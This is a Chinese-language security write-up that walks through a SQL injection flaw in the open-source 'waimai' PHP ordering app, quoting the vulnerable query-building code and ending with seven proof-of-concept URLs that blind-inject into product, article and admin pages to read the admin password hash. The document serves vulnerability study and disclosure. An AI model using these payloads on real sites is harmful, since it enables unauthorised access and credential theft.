代码来源:https://github.com/caokang/waimai
也是某天闲的无聊,看到CVE上有个老哥提了一个SQL的注入漏洞,就借此分析学习了一波。
本地搭建了环境,最终产生SQL注入的代码位于inc/Lib/Core/Db.class.php
// where子单元分析
protected function parseWhereItem($key,$val) {
$whereStr = '';
if(is_array($val)) {
if(is_string($val[0])) {
if(preg_match('/^(EQ|NEQ|GT|EGT|LT|ELT)$/i',$val[0])) { // 比较运算
$whereStr .= $key.' '.$this->comparison[strtolower($val[0])].' '.$this->parseValue($val[1]);
}elseif(preg_match('/^(NOTLIKE|LIKE)$/i',$val[0])){// 模糊查找
if(is_array($val[1])) {
$likeLogic = isset($val[2])?strtoupper($val[2]):'OR';
if(in_array($likeLogic,array('AND','OR','XOR'))){
$likeStr = $this->comparison[strtolower($val[0])];
$like = array();
foreach ($val[1] as $item){
$like[] = $key.' '.$likeStr.' '.$this->parseValue($item);
}
$whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';
}
}else{
$whereStr .= $key.' '.$this->comparison[strtolower($val[0])].' '.$this->parseValue($val[1]);
}
}elseif('exp'==strtolower($val[0])){ // 使用表达式
$whereStr .= ' ('.$key.' '.$val[1].') ';
}elseif(preg_match('/IN/i',$val[0])){ // IN 运算
if(isset($val[2]) && 'exp'==$val[2]) {
$whereStr .= $key.' '.strtoupper($val[0]).' '.$val[1];
}else{
if(is_string($val[1])) {
$val[1] = explode(',',$val[1]);
}
$zone = implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')';
}
}elseif(preg_match('/BETWEEN/i',$val[0])){ // BETWEEN运算
$data = is_string($val[1])? explode(',',$val[1]):$val[1];
$whereStr .= ' ('.$key.' '.strtoupper($val[0]).' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]).' )';
}else{
throw_exception(L('_EXPRESS_ERROR_').':'.$val[0]);
}
}else {
$count = count($val);
$rule = isset($val[$count-1])?strtoupper($val[$count-1]):'';
if(in_array($rule,array('AND','OR','XOR'))) {
$count = $count -1;
}else{
$rule = 'AND';
}
for($i=0;$i<$count;$i++) {
$data = is_array($val[$i])?$val[$i][1]:$val[$i];
if('exp'==strtolower($val[$i][0])) {
$whereStr .= '('.$key.' '.$data.') '.$rule.' ';
}else{
$op = is_array($val[$i])?$this->comparison[strtolower($val[$i][0])]:'=';
$whereStr .= '('.$key.' '.$op.' '.$this->parseValue($data).') '.$rule.' ';
}
}
$whereStr = substr($whereStr,0,-4);
}
}else {
//对字符串类型字段采用模糊匹配
if(C('DB_LIKE_FIELDS') && preg_match('/('.C('DB_LIKE_FIELDS').')/i',$key)) {
$val = '%'.$val.'%';
$whereStr .= $key.' LIKE '.$this->parseValue($val);
}else {
$whereStr .= $key.' = '.$this->parseValue($val);
}
}
return $whereStr;
}
这是一个where查询的解析函数,可以看到这里根据val的类型和值进行了多个if判断,发现基本上每个条件判断里都有一个parseValue函数,我们跟进去看一下。
protected function parseValue($value) {
if(is_string($value)) {
$value = '\''.$this->escapeString($value).'\'';
}elseif(isset($value[0]) && is_string($value[0]) && strtolower($value[0]) == 'exp'){
$value = $this->escapeString($value[1]);
}elseif(is_array($value)) {
$value = array_map(array($this, 'parseValue'),$value);
}elseif(is_bool($value)){
$value = $value ? '1' : '0';
}elseif(is_null($value)){
$value = 'null';
}
return $value;
}
基本上调用parseValue的查询都会被增加转义符,理论上无法直接存在注入。但是仔细看可以发现,里面有一个诡异的判断:
这两个条件并没有调用parseValue,而是直接拼接了val数组的值。
所以存在两种情况可以绕过这个parseValue:
protected function parseWhere($where) {
$whereStr = '';
if(is_string($where)) {
// 直接使用字符串条件
$whereStr = $where;
}else{ // 使用数组表达式
$operate = isset($where['_logic'])?strtoupper($where['_logic']):'';
if(in_array($operate,array('AND','OR','XOR'))){
// 定义逻辑运算规则 例如 OR XOR AND NOT
$operate = ' '.$operate.' ';
unset($where['_logic']);
}else{
// 默认进行 AND 运算
$operate = ' AND ';
}
foreach ($where as $key=>$val){
$whereStr .= '( ';
if(is_numeric($key)){
$key = '_complex';
}
if(0===strpos($key,'_')) {
// 解析特殊条件表达式
$whereStr .= $this->parseThinkWhere($key,$val);
}else{
// 查询字段的安全过滤
if(!preg_match('/^[A-Z_\|\&\-.a-z0-9\(\)\,]+$/',trim($key))){
throw_exception(L('_EXPRESS_ERROR_').':'.$key);
}
// 多条件支持
$multi = is_array($val) && isset($val['_multi']);
$key = trim($key);
if(strpos($key,'|')) { // 支持 name|title|nickname 方式定义查询字段
$array = explode('|',$key);
$str = array();
foreach ($array as $m=>$k){
$v = $multi?$val[$m]:$val;
$str[] = '('.$this->parseWhereItem($this->parseKey($k),$v).')';
}
$whereStr .= implode(' OR ',$str);
}elseif(strpos($key,'&')){
$array = explode('&',$key);
$str = array();
foreach ($array as $m=>$k){
$v = $multi?$val[$m]:$val;
$str[] = '('.$this->parseWhereItem($this->parseKey($k),$v).')';
}
$whereStr .= implode(' AND ',$str);
}else{
$whereStr .= $this->parseWhereItem($this->parseKey($key),$val);
}
}
$whereStr .= ' )'.$operate;
}
$whereStr = substr($whereStr,0,-strlen($operate));
}
return empty($whereStr)?'':' WHERE '.$whereStr;
}
public function parseSql($sql,$options=array()){
$sql = str_replace(
array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%COMMENT%'),
array(
$this->parseTable($options['table']),
$this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
$this->parseField(!empty($options['field'])?$options['field']:'*'),
$this->parseJoin(!empty($options['join'])?$options['join']:''),
$this->parseWhere(!empty($options['where'])?$options['where']:''),
$this->parseGroup(!empty($options['group'])?$options['group']:''),
$this->parseHaving(!empty($options['having'])?$options['having']:''),
$this->parseOrder(!empty($options['order'])?$options['order']:''),
$this->parseLimit(!empty($options['limit'])?$options['limit']:''),
$this->parseUnion(!empty($options['union'])?$options['union']:''),
$this->parseComment(!empty($options['comment'])?$options['comment']:'')
),$sql);
return $sql;
}
public function buildSelectSql($options=array()) {
if(isset($options['page'])) {
// 根据页数计算limit
if(strpos($options['page'],',')) {
list($page,$listRows) = explode(',',$options['page']);
}else{
$page = $options['page'];
}
$page = $page?$page:1;
$listRows= isset($listRows)?$listRows:(is_numeric($options['limit'])?$options['limit']:20);
$offset = $listRows*((int)$page-1);
$options['limit'] = $offset.','.$listRows;
}
if(C('DB_SQL_BUILD_CACHE')) { // SQL创建缓存
$key = md5(serialize($options));
$value = S($key);
if(false !== $value) {
return $value;
}
}
$sql = $this->parseSql($this->selectSql,$options);
$sql .= $this->parseLock(isset($options['lock'])?$options['lock']:false);
if(isset($key)) { // 写入SQL创建缓存
S($key,$sql,array('expire'=>0,'length'=>C('DB_SQL_BUILD_LENGTH'),'queue'=>C('DB_SQL_BUILD_QUEUE')));
}
return $sql;
}
public function select($options=array()) {
$this->model = $options['model'];
$sql = $this->buildSelectSql($options);
$cache = isset($options['cache'])?$options['cache']:false;
if($cache) { // 查询缓存检测
$key = is_string($cache['key'])?$cache['key']:md5($sql);
$value = S($key,'',$cache);
if(false !== $value) {
return $value;
}
}
$result = $this->query($sql,$this->parseBind(!empty($options['bind'])?$options['bind']:array()));
if($cache && false !== $result ) { // 查询缓存写入
S($key,$result,$cache);
}
return $result;
}
public function find($options=array()) {
if(is_numeric($options) || is_string($options)) {
$where[$this->getPk()] = $options;
$options = array();
$options['where'] = $where;
}
// 总是查找一条记录
$options['limit'] = 1;
// 分析表达式
$options = $this->_parseOptions($options);
$resultSet = $this->db->select($options);
if(false === $resultSet) {
return false;
}
if(empty($resultSet)) {// 查询结果为空
return null;
}
$this->data = $resultSet[0];
$this->_after_find($this->data,$options);
if(!empty($this->options['result'])) {
return $this->returnResult($this->data,$this->options['result']);
}
return $this->data;
}
整个SQL的调用栈应该是这样的:
分析完调用过程开始构造poc,以product模块为例,需要传递一个id的数组,这里用val[0] == 'exp', val[1] == payload这种方式构造,得出的完整url应该是这样的:
http://localhost:8888/waimai-master/index.php?m=product&a=index&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+
这里需要注意,我们想构造的最后的查询语句应该是这样的:
SELECT * FROM sn_article
WHERE ( (aid
in ('XX'))/**/or substr((select userpass from sn_members where uid=1),1,1)='9') -- ) ) LIMIT 1
所以需要两个右括号,第一个闭合WHERE中的第一个条件(aid
in ('XX')),第二个闭合WHERE。用户为admin,密码md5第一位是9。
下面开始测试
存在此处SQL问题的还有很多:
1、http://localhost:8888/waimai-master/index.php?m=product&a=index&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+
2、http://localhost:8888/waimai-master/index.php?m=product&a=index&id[0]=in%20(%27xx%27))/*&id[1]=*/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27%20--%20&id[2]=exp
3、http://localhost:8888/waimai-master/index.php?m=article&a=s&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+
4、http://localhost:8888/waimai-master/admin.php?&m=food&a=edit&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+
5、http://localhost:8888/waimai-master/admin.php?&m=foodcat&a=edit&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+
6、http://localhost:8888/waimai-master/admin.php?&m=order&a=detail&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+
7、http://localhost:8888/waimai-master/admin.php?&m=order&a=orderfour&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+
参考:https://github.com/caokang/waimai/issues/9
提前给师傅们拜年了~